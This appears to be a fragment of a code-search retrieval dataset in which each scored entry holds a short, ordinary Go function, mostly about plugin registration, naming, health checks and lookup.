"title": "" }, { "docid": "b137eaa6ecaac65e1112ffc7651902f7", "score": "0.5545798", "text": "func (ctxt *Link) CanUsePlugins() bool {\n\tif !ctxt.Loaded {\n\t\tpanic(\"CanUsePlugins called before all symbols loaded\")\n\t}\n\treturn ctxt.canUsePlugins\n}", "title": "" }, { "docid": "5e0adc0c5d8e975be5560e0323746f4b", "score": "0.5537205", "text": "func (p *ExecPlugin) isAvailable() bool {\n\tf, err := os.Stat(p.path)\n\tif os.IsNotExist(err) {\n\t\treturn false\n\t}\n\treturn f.Mode()&0111 != 0000\n}", "title": "" }, { "docid": "bc15ee61583319904f36a45bdccb656a", "score": "0.5513615", "text": "func RegisterPlugin(name string, plugin Plugin) {\n\tplugins.Register(name, plugin)\n}", "title": "" }, { "docid": "cb45541c88f517a5526203b072fcda21", "score": "0.55068994", "text": "func (plugin *plugin) Name() string {\n\treturn plugin.name\n}", "title": "" }, { "docid": "c55ea3fda37bffa00971ac0cf5c23eff", "score": "0.5505522", "text": "func IsPluginTypeValid(plugType string) bool {\n\tfor _, t := range listPluginTypes() {\n\t\tif plugType == t {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn plugType == \"*\"\n}", "title": "" }, { "docid": "12dc028a0f68bcf8f033de1a488dcc6b", "score": "0.5476571", "text": "func GetByName(name string) (Plugin, error) {\n\tp, ok := all[name]\n\tif ok {\n\t\treturn p, nil\n\t}\n\treturn nil, ErrorUnknownPlugin\n}", "title": "" }, { "docid": "3d376abaa3e280de2507452fec464633", "score": "0.5476481", "text": "func (job *PluginHealthCheckJob) checkPlugin(id string) {\n\tp, ok := job.env.registeredPlugins.Load(id)\n\tif !ok {\n\t\treturn\n\t}\n\trp := p.(*registeredPlugin)\n\n\tsup := rp.supervisor\n\tif sup == nil {\n\t\treturn\n\t}\n\n\tpluginErr := sup.PerformHealthCheck()\n\n\tif pluginErr != nil {\n\t\tmlog.Error(fmt.Sprintf(\"Health check failed for plugin %s, error: %s\", id, pluginErr.Error()))\n\t\tjob.handleHealthCheckFail(id, pluginErr)\n\t}\n}", "title": "" }, { "docid": "1431bf8f5e83c884bb197f5595dd3ec9", "score": "0.54243493", "text": "func (r *Registry) IsRegistered(providerID peer.ID) bool {\n\tdone := make(chan struct{})\n\tvar found bool\n\tr.actions <- func() {\n\t\t_, found = r.providers[providerID]\n\t\tclose(done)\n\t}\n\t<-done\n\treturn found\n}", "title": "" }, { "docid": "1431bf8f5e83c884bb197f5595dd3ec9", "score": "0.54243493", "text": "func (r *Registry) IsRegistered(providerID peer.ID) bool {\n\tdone := make(chan struct{})\n\tvar found bool\n\tr.actions <- func() {\n\t\t_, found = r.providers[providerID]\n\t\tclose(done)\n\t}\n\t<-done\n\treturn found\n}", "title": "" }, { "docid": "443a7f8b5478d684db58903ed3e5436c", "score": "0.54235214", "text": "func (s *Scope) RemovePlugin(id string) bool {\n\treturn s.Plugins.Remove(id)\n}", "title": "" }, { "docid": "f38442f45a311291e05d9dc740f4bad4", "score": "0.5413242", "text": "func RegisterPlugin(name string, template string, values map[string]string) {\n\tlogrus.Infof(\"Registering plugin: %s\", name)\n\tpluginRegister[name] = Plugin{Template: template, DefaultValues: values}\n}", "title": "" }, { "docid": "81d4df11716c77511b46a8b77053669d", "score": "0.5407604", "text": "func isCSIMigrationOn(csiNode *storagev1.CSINode, pluginName string) bool {\n\tif csiNode == nil || len(pluginName) == 0 {\n\t\treturn false\n\t}\n\n\t// In-tree storage to CSI driver migration feature should be enabled,\n\t// along with the plugin-specific one\n\tswitch pluginName {\n\tcase csilibplugins.AWSEBSInTreePluginName:\n\t\treturn true\n\tcase csilibplugins.PortworxVolumePluginName:\n\t\tif !utilfeature.DefaultFeatureGate.Enabled(features.CSIMigrationPortworx) {\n\t\t\treturn false\n\t\t}\n\tcase csilibplugins.GCEPDInTreePluginName:\n\t\treturn true\n\tcase csilibplugins.AzureDiskInTreePluginName:\n\t\treturn true\n\tcase csilibplugins.CinderInTreePluginName:\n\t\treturn true\n\tcase csilibplugins.RBDVolumePluginName:\n\t\tif !utilfeature.DefaultFeatureGate.Enabled(features.CSIMigrationRBD) {\n\t\t\treturn false\n\t\t}\n\tdefault:\n\t\treturn false\n\t}\n\n\t// The plugin name should be listed in the CSINode object annotation.\n\t// This indicates that the plugin has been migrated to a CSI driver in the node.\n\tcsiNodeAnn := csiNode.GetAnnotations()\n\tif csiNodeAnn == nil {\n\t\treturn false\n\t}\n\n\tvar mpaSet sets.Set[string]\n\tmpa := csiNodeAnn[v1.MigratedPluginsAnnotationKey]\n\tif len(mpa) == 0 {\n\t\tmpaSet = sets.New[string]()\n\t} else {\n\t\ttok := strings.Split(mpa, \",\")\n\t\tmpaSet = sets.New(tok...)\n\t}\n\n\treturn mpaSet.Has(pluginName)\n}", "title": "" }, { "docid": "64e35483a8574f74f145eee8ff5ea275", "score": "0.53874856", "text": "func (ap *AttachPlugin) Name() string { return AttachPluginName }", "title": "" }, { "docid": "09186943331b81f84869b3bc437a3d44", "score": "0.537159", "text": "func (m *Manager) Exist(name string) bool {\n\tvar extPath = filepath.Join(m.cfg.GetExtensionDir(), name)\n\tif filepath.Ext(name) == \"\" {\n\t\textPath = filepath.Join(m.cfg.GetExtensionDir(), name+\".js\")\n\t}\n\tif _, err := os.Stat(extPath); os.IsNotExist(err) {\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "d6c2896d5c642c0ce457b4cb9af033f2", "score": "0.536739", "text": "func GetName(p Plugin) (string, error) {\n\tfor name, instance := range all {\n\t\tif p == instance {\n\t\t\treturn name, nil\n\t\t}\n\t}\n\treturn \"\", ErrorUnknownPlugin\n}", "title": "" }, { "docid": "fa6661e6f73cb428b25a03ee3caa693a", "score": "0.5358351", "text": "func (cp *cmdPlugin) GetPluginName() string {\n\treturn \"command\"\n}", "title": "" }, { "docid": "d5c4a340fd076d3a9f30553dfaba6f01", "score": "0.53357023", "text": "func (plugin *ExamplePlugin) String() string {\n\treturn PluginName\n}", "title": "" }, { "docid": "d5c4a340fd076d3a9f30553dfaba6f01", "score": "0.53357023", "text": "func (plugin *ExamplePlugin) String() string {\n\treturn PluginName\n}", "title": "" }, { "docid": "a14501547c45000bde25733dd3b4e2e2", "score": "0.53330874", "text": "func (self *GitPlugin) Name() string {\n\treturn GitPluginName\n}", "title": "" }, { "docid": "7833f5d6fb6c16c41e29b0add30203c2", "score": "0.533023", "text": "func (r *Redis) PluginName() string {\n\treturn \"redis\"\n}", "title": "" }, { "docid": "79bc11ef59742ad7a6e8cdc357135822", "score": "0.53109264", "text": "func (pp *preprocPlugin) GetPluginName() string {\n\treturn \"preprocessor\"\n}", "title": "" }, { "docid": "64de27888f8639c18398cdbf50d2b7f7", "score": "0.53095216", "text": "func (s *System) GetPluginInfo() {}", "title": "" }, { "docid": "0c36682ef244727a4460f95467db4b46", "score": "0.53085816", "text": "func ValidPluginNames(cmd *cobra.Command, args []string, prefix, pluginOrg, pluginRepo string) (pluginNames []string, directive cobra.ShellCompDirective) {\n\tdirective = cobra.ShellCompDirectiveNoFileComp\n\tif plugins, err := pkg.FindPlugins(pluginOrg, pluginRepo); err == nil {\n\t\tpluginNames = make([]string, 0)\n\t\tfor i := range plugins {\n\t\t\tplugin := plugins[i]\n\t\t\tname := plugin.Use\n\n\t\t\tswitch cmd.Use {\n\t\t\tcase \"install\":\n\t\t\t\tif plugin.Installed {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\tcase \"uninstall\":\n\t\t\t\tif !plugin.Installed {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tduplicated := false\n\t\t\tfor j := range args {\n\t\t\t\tif name == args[j] {\n\t\t\t\t\tduplicated = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif !duplicated && strings.HasPrefix(name, prefix) {\n\t\t\t\tpluginNames = append(pluginNames, name)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "e99e513f60605b91c2462a38858fd92c", "score": "0.5308001", "text": "func (p *AssistantPlugin) GetPluginName() string {\n\treturn PluginName\n}", "title": "" }, { "docid": "bf23106e05822aff44fb839a27e32277", "score": "0.53058493", "text": "func (p *ServerPluginContainer) GetByName(pluginName string) IPlugin {\n\tif p.plugins == nil {\n\t\treturn nil\n\t}\n\n\tfor _, plugin := range p.plugins {\n\t\tif plugin.Name() == pluginName {\n\t\t\treturn plugin\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "042d24e127e846adfb467d6a09ff405e", "score": "0.52931696", "text": "func (c *CommonChameleonDeviceFlow) IsPlugged(ctx context.Context) (bool, error) {\n\treturn c.RPC(\"IsPlugged\").CallForBool(ctx)\n}", "title": "" }, { "docid": "d4a059d78de3692b49857e34bf3603e8", "score": "0.5290124", "text": "func (p *GenericPlugin) Name() string {\n\treturn p.PluginName\n}", "title": "" }, { "docid": "f2c144f5fc21d1bb5a2d797fd450b1b9", "score": "0.5289525", "text": "func (r Docker) Name() string { return pluginname }", "title": "" }, { "docid": "c775b4fa3b149230401329cad834f955", "score": "0.5287036", "text": "func (a InstanceProfilesAPI) IsRegistered(arn string) bool {\n\tif _, err := a.Read(arn); err == nil {\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "a8a01966e80ae365f9a98240793c8bf6", "score": "0.52790135", "text": "func (mgr *pluginsMgr) NewPlugin(pluginName string) error {\n\tif mgr.HasPlugin(pluginName) {\n\t\treturn ErrRepeatPlugins\n\t}\n\n\tfuncNewPlugin, ok := mgr.mapFuncNewPlugin[pluginName]\n\tif !ok {\n\t\treturn ErrNoPluginName\n\t}\n\n\tplugin, err := funcNewPlugin(mgr.cfgPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tpt := plugin.GetPluginType()\n\tif pt == PluginTypeNormal {\n\t\tmgr.lstNormal = append(mgr.lstNormal, plugin)\n\n\t\tmgr.mapPlugin[pluginName] = plugin\n\n\t\treturn nil\n\t} else if pt == PluginTypeCommand {\n\t\tmgr.lstCommand = append(mgr.lstCommand, plugin)\n\n\t\tmgr.mapPlugin[pluginName] = plugin\n\n\t\treturn nil\n\t} else if pt == PluginTypeWritableCommand {\n\t\tmgr.lstWritableCommand = append(mgr.lstWritableCommand, plugin)\n\n\t\tmgr.mapPlugin[pluginName] = plugin\n\n\t\treturn nil\n\t}\n\n\treturn ErrInvalidPluginType\n}", "title": "" }, { "docid": "bde64bf52ad03e78a9802925bc08e66d", "score": "0.5273083", "text": "func (mgr *pluginsMgr) RegPlugin(pluginName string, funcNewPlugin FuncNewPlugin) error {\n\t_, ok := mgr.mapFuncNewPlugin[pluginName]\n\tif ok {\n\t\treturn ErrSamePluginName\n\t}\n\n\tmgr.mapFuncNewPlugin[pluginName] = funcNewPlugin\n\n\treturn nil\n}", "title": "" }, { "docid": "745e1dc70e296bde13f49f6bc345f572", "score": "0.52650803", "text": "func (p *Driver) PluginInit(instance string) error {\n\tgotrace.Trace(\"Initializing plugin instance '%s'\", instance)\n\tif p.Yaml.Name == \"\" {\n\t\treturn fmt.Errorf(\"Unable to initialize the plugin without Plugin definition.\")\n\t}\n\tif err := p.def_runtime_context(); err != nil {\n\t\treturn err\n\t}\n\n\t// To define a unique container name based on workspace name.\n\tp.name = instance + \"-\" + p.Yaml.Name\n\tgotrace.Trace(\"Service mode : %t\", p.service)\n\treturn nil\n}", "title": "" }, { "docid": "27683ea1075c08da938dc4b16d13a8e4", "score": "0.52628785", "text": "func (p *Plugin) Name() string {\n\treturn p.name\n}", "title": "" }, { "docid": "f157298d2fe10fecdc31cf425de99978", "score": "0.52606374", "text": "func (d ClairPlugin) Name() string {\n\treturn \"plugin-clair\"\n}", "title": "" }, { "docid": "2f73c7a72f57fbdfa2715918d89fab09", "score": "0.5235701", "text": "func IsJMXInstance(name string, instance integration.Data, initConfig integration.Data) bool {\n\tif _, ok := agentconfig.StandardJMXIntegrations[name]; ok {\n\t\treturn true\n\t}\n\n\trawInstance := integration.RawMap{}\n\terr := yaml.Unmarshal(instance, &rawInstance)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tx, ok := rawInstance[\"loader\"]\n\tif ok {\n\t\tloaderName, ok := x.(string)\n\t\tif ok {\n\t\t\treturn loaderName == \"jmx\"\n\t\t}\n\t}\n\n\tx, ok = rawInstance[\"is_jmx\"]\n\tif ok {\n\t\tisInstanceJMX, ok := x.(bool)\n\t\tif ok && isInstanceJMX {\n\t\t\treturn true\n\t\t}\n\t}\n\n\trawInitConfig := integration.RawMap{}\n\terr = yaml.Unmarshal(initConfig, &rawInitConfig)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tx, ok = rawInitConfig[\"loader\"]\n\tif ok {\n\t\tloaderName, ok := x.(string)\n\t\tif ok {\n\t\t\treturn loaderName == \"jmx\"\n\t\t}\n\t}\n\n\tx, ok = rawInitConfig[\"is_jmx\"]\n\tif !ok {\n\t\treturn false\n\t}\n\n\tisInitConfigJMX, ok := x.(bool)\n\tif !ok {\n\t\treturn false\n\t}\n\n\treturn isInitConfigJMX\n}", "title": "" }, { "docid": "a8d6b3d24ed12e706ecca04d7372be62", "score": "0.523154", "text": "func (os *FakeOSClient) GetPluginName() string {\n\treturn os.PluginName\n}", "title": "" }, { "docid": "17858005fa8a71b78dd1b950ee2c10e3", "score": "0.5223164", "text": "func (plugin *AuthorizationClientPlugin) Name() string {\n\treturn \"AuthorizationClientPlugin\"\n}", "title": "" }, { "docid": "3f2c3caadb395d4e3dd2019b8fbed0a6", "score": "0.521715", "text": "func (m *OutputManager) GetPlugin(name string) (Output, error) {\n\tf, exist := m.Registry[name]\n\tif !exist {\n\t\treturn nil, errors.Errorf(\"output plugin %s not exist\", name)\n\t}\n\treturn f(), nil\n}", "title": "" }, { "docid": "50af1acdbddc6da6805c39c79acf4c88", "score": "0.52165616", "text": "func RegisterPlugins(name string, plugin Plugins) {\n\tplugs[name] = plugin\n}", "title": "" }, { "docid": "20f02ad7209dda2540477cc0f0550404", "score": "0.5209377", "text": "func (s *System) LoadPlugin() {}", "title": "" }, { "docid": "98dc9ad493eb10c15942083e602c1906", "score": "0.5194971", "text": "func (_TestPool *TestPoolCaller) IsRegistered(opts *bind.CallOpts, sender common.Address) (bool, error) {\n\tvar (\n\t\tret0 = new(bool)\n\t)\n\tout := ret0\n\terr := _TestPool.contract.Call(opts, out, \"isRegistered\", sender)\n\treturn *ret0, err\n}", "title": "" }, { "docid": "34d1fbb48747c684287275eef10a0b41", "score": "0.5181647", "text": "func (l *LogParserPlugin) PluginName() string {\n\treturn \"logparser\"\n}", "title": "" }, { "docid": "252ecff9e4ec684da2bc924351329c18", "score": "0.5173746", "text": "func RegisterPlugin(p Plugin) {\n\tplugins = append(plugins, p)\n}", "title": "" }, { "docid": "a41f14ff65fae32c0a76ca71a42a29f6", "score": "0.5170364", "text": "func (o *ServerConfigImport) HasProfileName() bool {\n\tif o != nil && o.ProfileName != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "ba45542acb27c134328dbf6c7bc19dd3", "score": "0.5169321", "text": "func (ps specQuery) Plugin() plugin.Name {\n\tpn := plugin.Name(ps.Spec.Kind)\n\tif lookup, sub := pn.GetLookupAndType(); sub == \"\" {\n\t\treturn plugin.NameFrom(lookup, ps.Spec.Metadata.Name)\n\t}\n\treturn pn\n}", "title": "" }, { "docid": "a23cf63988717d5d7065e1c2502015a5", "score": "0.5160027", "text": "func (p *Plugin) IsRunning() bool {\n\tlog := p.Context.Log()\n\tlog.Infof(\"IsRunning check for daemon %v\", p.Name)\n\treturn false // TODO:DAEMON check to see if process is alive (false for now to force regular restarts and see the logs\n}", "title": "" }, { "docid": "155751c35429d4df22ef5d8c11fbe5f3", "score": "0.5155598", "text": "func (m *InputManager) GetPlugin(name string) (Input, error) {\n\tf, exist := m.Registry[name]\n\tif !exist {\n\t\treturn nil, errors.Errorf(\"input plugin %s not exist\", name)\n\t}\n\treturn f(), nil\n}", "title": "" }, { "docid": "00109ecea6d4a4e807cca59f3fb53d43", "score": "0.51521415", "text": "func (c *Client) isExported(name string) (bool, error) {\n\texportList, err := c.api.GetIsiExports()\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tfor _, export := range exportList.ExportList {\n\t\tfor _, existingPath := range export.Paths {\n\t\t\tif existingPath == c.Path(name) {\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t}\n\t}\n\treturn false, nil\n}", "title": "" }, { "docid": "7c551e45f981331d13311fb269158615", "score": "0.5148395", "text": "func Plugin() *node.Plugin {\n\tonce.Do(func() {\n\t\tplugin = node.NewPlugin(PluginName, node.Enabled)\n\t})\n\treturn plugin\n}", "title": "" }, { "docid": "791ef892e5c310151a0daf3bd6fd0319", "score": "0.51471955", "text": "func Is(p string) bool {\n\text := strings.TrimLeft(path.Ext(p), \".\")\n\treturn Extensions[strings.ToLower(ext)]\n}", "title": "" }, { "docid": "f32bc25709e2143be13126359b85a6d4", "score": "0.51463944", "text": "func (p *checkInstanceOwnershipPlugin) Name() string {\n\treturn CheckInstanceOwnerhipPluginName\n}", "title": "" }, { "docid": "b29c16169a17592b5c4511cf0a01454a", "score": "0.51428545", "text": "func (p *Plugin) Name() string {\n\treturn \"github.com/wailsapp/wails/v3/plugins/single-instance\"\n}", "title": "" }, { "docid": "7f5f23422903eec3014abd77d1ab99ce", "score": "0.51410306", "text": "func IsAlreadyExported(err error) bool {\n\tif err.Error() == \"Warning: Pin Already Exported\" {\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "bb019c9b5c1f57c2d7db5af30cbc3b16", "score": "0.5136747", "text": "func (r *pluginRegistry) GetPlugin(modelType configapi.TargetType, version configapi.TargetVersion) (ModelPlugin, bool) {\n\tid := strings.ToLower(fmt.Sprintf(\"%s-%s\", modelType, version))\n\tr.lock.RLock()\n\tdefer r.lock.RUnlock()\n\tp, ok := r.plugins[id]\n\tif !ok {\n\t\tlog.Warnw(\"Cannot find plugin\", \"id\", id)\n\t\treturn nil, false\n\t}\n\treturn p, true\n}", "title": "" }, { "docid": "cc1aaf590ec7e56c14517252691a4669", "score": "0.5123192", "text": "func (m *Manager) IsRunning(name string) bool {\n\treturn m.runningExt[name] != nil\n}", "title": "" }, { "docid": "d9c48a6346c4a03f4ea45b9f8e60a85c", "score": "0.51210654", "text": "func (o GetPluginsPluginOutput) PluginType() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetPluginsPlugin) string { return v.PluginType }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "e19b8423cf50d6c74396323982a98f26", "score": "0.51149136", "text": "func checkPlugin(url string, pluginProtocolVersion uint) bool {\n\tresp, err := httpClient.Head(url)\n\tif err != nil {\n\t\tlog.Printf(\"[ERROR] error fetching plugin headers: %s\", err)\n\t\treturn false\n\t}\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tlog.Println(\"[ERROR] non-200 status fetching plugin headers:\", resp.Status)\n\t\treturn false\n\t}\n\n\tproto := resp.Header.Get(protocolVersionHeader)\n\tif proto == \"\" {\n\t\t// The header isn't present, but we don't make this error fatal since\n\t\t// the latest version will probably work.\n\t\tlog.Printf(\"[WARNING] missing %s from: %s\", protocolVersionHeader, url)\n\t\treturn true\n\t}\n\n\tprotoVersion, err := strconv.Atoi(proto)\n\tif err != nil {\n\t\tlog.Printf(\"[ERROR] invalid ProtocolVersion: %s\", proto)\n\t\treturn false\n\t}\n\n\treturn protoVersion == int(pluginProtocolVersion)\n}", "title": "" }, { "docid": "f91dae42876628a69372441a8123dcd8", "score": "0.5107107", "text": "func (plugin *AuthorizationServerPlugin) Name() string {\n\treturn \"AuthorizationServerPlugin\"\n}", "title": "" }, { "docid": "f9688ea9a7b64fa9f035af620e5ae88d", "score": "0.5102501", "text": "func (plugin WeatherPlugin) Name() string {\n\treturn plugin.name\n}", "title": "" }, { "docid": "26a22de46ec06b9a4ca5b73baa459030", "score": "0.50945246", "text": "func Register(name string, plugin Pluggable) error {\n\tvar err error\n\n\tswitch Type(plugin.PluginType()) {\n\tcase AgentProviderPlugin:\n\t\terr = registerAgentProviderPlugin(name, plugin)\n\n\tcase AgentPlugin:\n\t\terr = registerAgentPlugin(name, plugin)\n\n\tcase ProvisionTargetResolverPlugin:\n\t\terr = registerProvisionTargetResolverPlugin(name, plugin)\n\n\tdefault:\n\t\terr = fmt.Errorf(\"unknown plugin type %d from %s\", plugin.PluginType(), name)\n\t}\n\n\treturn err\n}", "title": "" }, { "docid": "7a1faa2cf3f530d1f25d2c88f6a24913", "score": "0.50928277", "text": "func (plugin *flexVolumePlugin) GetPluginName() string {\n\treturn plugin.driverName\n}", "title": "" }, { "docid": "97962a478159e7854c24225cd0fee6fd", "score": "0.507982", "text": "func (ps *pluginServer) registerPlugin() {\n\tfilter := sets.NewString(ps.ignoredNamespaces...)\n\tfilterNamespaceFunc := func(ns string) bool {\n\t\treturn filter.Has(ns)\n\t}\n\n\t// plugins are ready by calling \"init\" function\n\tfor name, p := range plugin.AllPlugins {\n\t\tklog.Infof(\"Register plugin %s, method %s, path %s\", name, p.Method(), p.Path())\n\t\tp.SetIgnored(filterNamespaceFunc)\n\n\t\tps.mux.Methods(p.Method()).Path(\n\t\t\tp.Path()).Handler(p.Handler(ps.client, ps.dockerEndpoint, ps.dockerVersion))\n\t}\n}", "title": "" }, { "docid": "a52f395049aae4c92b18ea90c8dbc1f4", "score": "0.50795734", "text": "func (p *TapExamplePlugin) String() string {\n\treturn PluginName\n}", "title": "" }, { "docid": "ded217a1bebbdcf3d83412459c018e1a", "score": "0.50721735", "text": "func (f *FakeOSClient) GetPluginName() string {\n\treturn f.PluginName\n}", "title": "" }, { "docid": "92df83a06e85225a89d04fb5ff1dbd3f", "score": "0.50691694", "text": "func RegisterPlugin() error {\n\treturn chatbot.RegPlugin(&cmdPlugin{})\n}", "title": "" }, { "docid": "f81fb4ebd714a5f1f839bd8bc97bd8e9", "score": "0.50657463", "text": "func (o PluginOutput) PluginType() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Plugin) pulumi.StringOutput { return v.PluginType }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "c4ddf7933dbe5858118eeae26ccc18a4", "score": "0.5062922", "text": "func (o *PluginInfo) HasInstances() bool {\n\tif o != nil && o.Instances != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" } ]
1dab691f1311c4e656e1ecbf69c84ed8
String returns the string representation
[ { "docid": "1a624710d3abb476a709f7c49c24c8c7", "score": "0.0", "text": "func (s PendingLogs) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" } ]
[ { "docid": "8ca704abaf1733dd5a773aca676914e6", "score": "0.72190577", "text": "func (o *Integrationexport) String() string {\n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "c83a5bd12162ec99d9b1a53614b442ab", "score": "0.71656793", "text": "func (s CreateSipRuleOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "c6884f72d81d4ab5d4bd62eb1fd1fd76", "score": "0.7113713", "text": "func (o *Networkconnectivity) String() string {\n \n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "b1ab7200deceeb2f5dd65427566b37e0", "score": "0.71119636", "text": "func (s CreateTrailOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "93f624eaa82a9f6afcc20f13342ccee8", "score": "0.70832914", "text": "func (s RedactRoomMessageOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "baf6752d7bd26ffb2b5216b1ee61bb54", "score": "0.7063186", "text": "func (s *Store) String() string {\n\tres := new(bytes.Buffer)\n\tprintChilds(res, 0, s.root)\n\treturn res.String()\n}", "title": "" }, { "docid": "b7856da3ea388e7fcc526b1c9bb93dde", "score": "0.7039794", "text": "func (c Courses) String() string {\n\tb, _ := json.Marshal(c)\n\treturn string(b)\n}", "title": "" }, { "docid": "0b0adf2a2f3bb903a762c6aa17af1f15", "score": "0.70175666", "text": "func (s RecordOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "995736a9fb852edc5fdafc003b31a9eb", "score": "0.7008581", "text": "func (p Prospects) String() string {\n\tjp, _ := json.Marshal(p)\n\treturn string(jp)\n}", "title": "" }, { "docid": "e455b5a79713377d7ce29159d9f11dec", "score": "0.70078254", "text": "func (temp *OutPut) String() string {\n\tb, err := json.Marshal(temp)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\treturn string(b)\n}", "title": "" }, { "docid": "4c2d7d98f3636c79ca4e86316309eb7e", "score": "0.7005279", "text": "func (p Prospect) String() string {\n\tjp, _ := json.Marshal(p)\n\treturn string(jp)\n}", "title": "" }, { "docid": "162d004f000200612ffacb606ccb69bf", "score": "0.7001563", "text": "func (crs *ReferenceSystem) String ( ) string {\n return toString(crs)\n}", "title": "" }, { "docid": "51dd6026fdd2edf9e8d42d59a79637f3", "score": "0.7000387", "text": "func (s CreateAssessmentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "f567f4d9cc26fe5a2b4c893f59399681", "score": "0.69932973", "text": "func (s OutputSerialization) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "870dd6da3203c39446479c9b3c22a1be", "score": "0.69884366", "text": "func (e EpgProgramme) String() string {\n\tje, _ := json.Marshal(e)\n\treturn string(je)\n}", "title": "" }, { "docid": "a980ea84e6b5527c94c8b0c65a993d75", "score": "0.69862556", "text": "func (i Info) String() string {\n\ts, _ := i.toJSON()\n\treturn s\n}", "title": "" }, { "docid": "e301db8f26600062f9111ca88a01b3d4", "score": "0.6969803", "text": "func (o *Nludomainversionqualityreport) String() string {\n \n o.ConfusionMatrix = []Nluconfusionmatrixrow{{}} \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "4fefd1a0342c49b8decc367733846b69", "score": "0.69678056", "text": "func (a Algorithm) String() string {\n\treturn string(a)\n}", "title": "" }, { "docid": "0db46e4d413d7ef3e68390fe7046ed48", "score": "0.69593966", "text": "func (s RedactChannelMessageOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "460e5a4576d914b89901ea7ede7bef58", "score": "0.69544554", "text": "func (r *StringConcator) String() string {\n\treturn string(r.raw)\n}", "title": "" }, { "docid": "15f5c157186d6024cc5a55401038dd93", "score": "0.6953907", "text": "func (s OtaaV11) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "62139d383a9352c35a1017272ea215eb", "score": "0.69460964", "text": "func (s CreateRuleOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "40c44e1a0b655c7f4b6ee96616440151", "score": "0.69410115", "text": "func (r *Chain) String() string {\n\treturn TreerString(r)\n}", "title": "" }, { "docid": "53da424ddfd66edc586c234353fdb946", "score": "0.6939724", "text": "func (s CreateStackOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "2407e9d59a60df678cefb91d039039af", "score": "0.693922", "text": "func (s GetSipRuleOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "a045a0d91e29711ee995269805cd98e4", "score": "0.69391936", "text": "func (s NiftyCreateRouterOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e2ac89e02abe75fd8179ac1f7b6620d1", "score": "0.69383335", "text": "func (o *Conversationroutingdata) String() string {\n \n \n \n o.Skills = []Addressableentityref{{}} \n o.ScoredAgents = []Scoredagent{{}} \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "a258768e1ec89dce6e5ff4b9c4665e8e", "score": "0.6935911", "text": "func (s DescribeFeatureTransformationOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "5a497d0feef8d13612c33ce7fd694cbc", "score": "0.69336706", "text": "func (n *Node) String() string {\n\treturn fmt.Sprintf(\"[%d, %d, %d, m: %d]\", n.X, n.Y, n.Z, n.Mass)\n}", "title": "" }, { "docid": "675dfe1879e75f81580272934d86e3a2", "score": "0.6926727", "text": "func (e Explorations) String() string {\n\tje, _ := json.Marshal(e)\n\treturn string(je)\n}", "title": "" }, { "docid": "c08b366f5053eeb695ffc3761516d064", "score": "0.6926391", "text": "func (s ArchiveCreationOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "676d847c9385b35ff0dfafcfeafe44ff", "score": "0.6925812", "text": "func (s *Spec) String() string {\n\treturn string(must.Bytes(json.MarshalIndent(s, \"\", \" \")))\n}", "title": "" }, { "docid": "6c6cc36e980634a06a1293177ab03e14", "score": "0.69209343", "text": "func (s LayerVersionContentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "4289cc8455f8f6094a3a56497d8bc17e", "score": "0.69181406", "text": "func (s CreateRoomOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "4289cc8455f8f6094a3a56497d8bc17e", "score": "0.69181406", "text": "func (s CreateRoomOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": 